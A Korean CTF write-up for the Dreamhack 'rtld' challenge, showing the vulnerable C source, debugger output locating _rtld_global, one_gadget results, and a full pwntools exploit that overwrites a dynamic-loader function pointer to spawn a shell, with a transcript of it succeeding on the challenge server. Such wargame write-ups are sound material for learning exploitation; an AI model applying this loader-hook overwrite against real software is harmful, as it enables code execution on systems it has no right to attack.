rtld

2022. 8. 15. 18:13·Wargame/Dreamhack
728x90
반응형

1. intro

 

2. code 및 분석

2.1  code

// gcc -o rtld rtld.c -fPIC -pie

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <dlfcn.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

void get_shell() {
    system("/bin/sh");
}

int main()
{
    long addr;
    long value; 

    initialize();

    printf("stdout: %p\n", stdout);

    printf("addr: ");
    scanf("%ld", &addr);

    printf("value: ");
    scanf("%ld", &value);

    *(long *)addr = value;
    return 0;
}

2.2 분석

다수의 보호기법이 걸려 있고, 셀을 실행시켜주는 get_shell 함수를 가지고 있으며, main 함수 내에서 특정 주소의 값을 변경할 수 있으며, return으로 프로그램이 종료된다.

 

3. 취약점 확인 및 공격 준비

3.1 취약점

앞선 rtld 문제와 동일하게 많은 보호기법이 걸려 있으나, stdout 주소를 출력해주며, 특정 위치에 특정 값을 삽입 가능함과 동시에 return으로 main 함수가 종료되기에 rtld overwrite가 가능하다.

3.2 공격 준비

libc 파일이 제공되므로 ld 파일을 찾아 링킹 후 offset 확인.

https://github.com/matrix1001/welpwn/blob/master/PwnContext/libs/ld.so/ld-8c0d248ea33e6ef17b759fa5d81dda9e.so.2

 

GitHub - matrix1001/welpwn: 💖CTF pwn framework.

💖CTF pwn framework. Contribute to matrix1001/welpwn development by creating an account on GitHub.

github.com

┌──(kali㉿kali)-[~/Downloads]
└─$ patchelf --set-interpreter ./ld-8c0d248ea33e6ef17b759fa5d81dda9e.so.2 rtld      
                                                                                                                   
┌──(kali㉿kali)-[~/Downloads]
└─$ patchelf --replace-needed libc.so.6 ./libc.so.6 rtld                      
                                                                                                                   
┌──(kali㉿kali)-[~/Downloads]
└─$ ldd rtld            
        linux-vdso.so.1 (0x00007ffcc35e1000)
        ./libc.so.6 (0x00007f102107a000)
        ./ld-8c0d248ea33e6ef17b759fa5d81dda9e.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007f102164b000)

rtld의 위치는 아래와 같다.

   0x7ffff7de7b37                  lea    0x215e0a(%rip), %rdi        # 0x7ffff7ffd948 <_rtld_global+2312>
 → 0x7ffff7de7b3e                  call   *0x216404(%rip)        # 0x7ffff7ffdf48 <_rtld_global+3848>
   0x7ffff7de7b44                  mov    (%r12), %ecx
   0x7ffff7de7b48                  test   %ecx, %ecx
   0x7ffff7de7b4a                  je     0x7ffff7de7b10
   0x7ffff7de7b4c                  mov    -0x8(%r12), %rax
   0x7ffff7de7b51                  movzbl 0x315(%rax), %edx
────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
_rtld_global+3848 (
)
────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "rtld", stopped 0x7ffff7de7b3e in ?? (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7de7b3e → call *0x216404(%rip)        # 0x7ffff7ffdf48 <_rtld_global+3848>
[#1] 0x7ffff7a46ff8 → jmp 0x7ffff7a46f30
[#2] 0x7ffff7a47045 → exit()
[#3] 0x7ffff7a2d837 → __libc_start_main()
[#4] 0x555555400949 → _start()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  p &_rtld_global
$1 = (<data variable, no debug info> *) 0x7ffff7ffd040 <_rtld_global>
gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00555555400000 0x00555555401000 0x00000000000000 r-x /home/kali/Downloads/rtld
0x00555555601000 0x00555555602000 0x00000000001000 r-- /home/kali/Downloads/rtld
0x00555555602000 0x00555555603000 0x00000000002000 rw- /home/kali/Downloads/rtld
0x00555555603000 0x00555555605000 0x00000000004000 rw- /home/kali/Downloads/rtld
0x007ffff7a0d000 0x007ffff7bcd000 0x00000000000000 r-x /home/kali/Downloads/libc.so.6
0x007ffff7bcd000 0x007ffff7dcd000 0x000000001c0000 --- /home/kali/Downloads/libc.so.6
0x007ffff7dcd000 0x007ffff7dd1000 0x000000001c0000 r-- /home/kali/Downloads/libc.so.6
0x007ffff7dd1000 0x007ffff7dd3000 0x000000001c4000 rw- /home/kali/Downloads/libc.so.6
0x007ffff7dd3000 0x007ffff7dd7000 0x00000000000000 rw- 
0x007ffff7dd7000 0x007ffff7dfd000 0x00000000000000 r-x /home/kali/Downloads/ld-8c0d248ea33e6ef17b759fa5d81dda9e.so.2                                                                                                                  
0x007ffff7ff3000 0x007ffff7ff6000 0x00000000000000 rw- 
0x007ffff7ff6000 0x007ffff7ffa000 0x00000000000000 r-- [vvar]
0x007ffff7ffa000 0x007ffff7ffc000 0x00000000000000 r-x [vdso]
0x007ffff7ffc000 0x007ffff7ffd000 0x00000000025000 r-- /home/kali/Downloads/ld-8c0d248ea33e6ef17b759fa5d81dda9e.so.2
0x007ffff7ffd000 0x007ffff7ffe000 0x00000000026000 rw- /home/kali/Downloads/ld-8c0d248ea33e6ef17b759fa5d81dda9e.so.2
0x007ffff7ffe000 0x007ffff7fff000 0x00000000000000 rw- 
0x007ffffffde000 0x007ffffffff000 0x00000000000000 rw- [stack]
gef➤  p 0x7ffff7ffd040 -0x007ffff7a0d000
$2 = 0x5f0040

더불어 PIE로 인해 pwntools의 symbols로 get_shell 함수의 주소를 찾을 수 없다. (offset만 찾을 수 있다)

그러므로 굳이 구하려하지 말고 oneshot gadget으로 shell을 획득해보자.

┌──(kali㉿kali)-[~/Downloads]
└─$ one_gadget ./libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

 

4. exploit

위의 내용을 토대로 페이로드를 작성해보면 아래와 같다.

from pwn import *

#p = remote('host3.dreamhack.games', 18905)
p = process('./rtld')
e = ELF('./rtld')
libc = ELF('./libc.so.6')

stdout = p.recvline()[-15:-1]
base = int(stdout,16) - libc.symbols['_IO_2_1_stdout_']

rtld_global_add = base + 0x5f0040
recursive_add = rtld_global_add + 3848
gadget = base + 0x4526a #첫번째 gadget은 실패하여 두번째 사용.

p.sendlineafter('addr: ',str(recursive_add))
p.sendlineafter('value: ',str(gadget))

p.interactive()

로컬 환경에서는 성공.

온라인에 시도. # 온라인에서는 두번째 gadget이 실패하여 세번째 사용.

┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 18905: Done
[*] '/home/kali/Downloads/rtld'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/kali/Downloads/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
/home/kali/Downloads/a.py:15: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter('addr: ',str(recursive_add))
/usr/local/lib/python3.10/dist-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
/home/kali/Downloads/a.py:16: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter('value: ',str(gadget))
[*] Switching to interactive mode
$ id
uid=1000(rtld) gid=1000(rtld) groups=1000(rtld)
$ cat flag
DH{----------#플래그는 삭제}
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Dreamhack' 카테고리의 다른 글

send_sig  (0) 2022.08.16
SigReturn-Oriented Programming  (0) 2022.08.15
__environ  (0) 2022.08.15
Overwrite _rtld_global  (0) 2022.08.15
master_canary  (2) 2022.08.10
'Wargame/Dreamhack' 카테고리의 다른 글
  • send_sig
  • SigReturn-Oriented Programming
  • __environ
  • Overwrite _rtld_global
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (502)
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (73)
      • Kernel Exploit (27)
        • Theory (15)
        • Exercise (5)
      • File Structure (6)
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (41)
        • Solved (39)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    rop
    32bit
    RTL
    docker
    _IO_FILE
    heap
    Format String Bug
    phoenix
    pwntools
    x86
    64bit
    ROOT ME
    vtable
    lob
    tcache
    libc
    exploit education
    root
    FSB
    Buffer Overflow
    Me
    pwnable.kr
    BOF
    cryptohack
    la ctf
    hackerschool
    root-me
    dreamhack
    CANARY
    x64
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
rtld
상단으로

티스토리툴바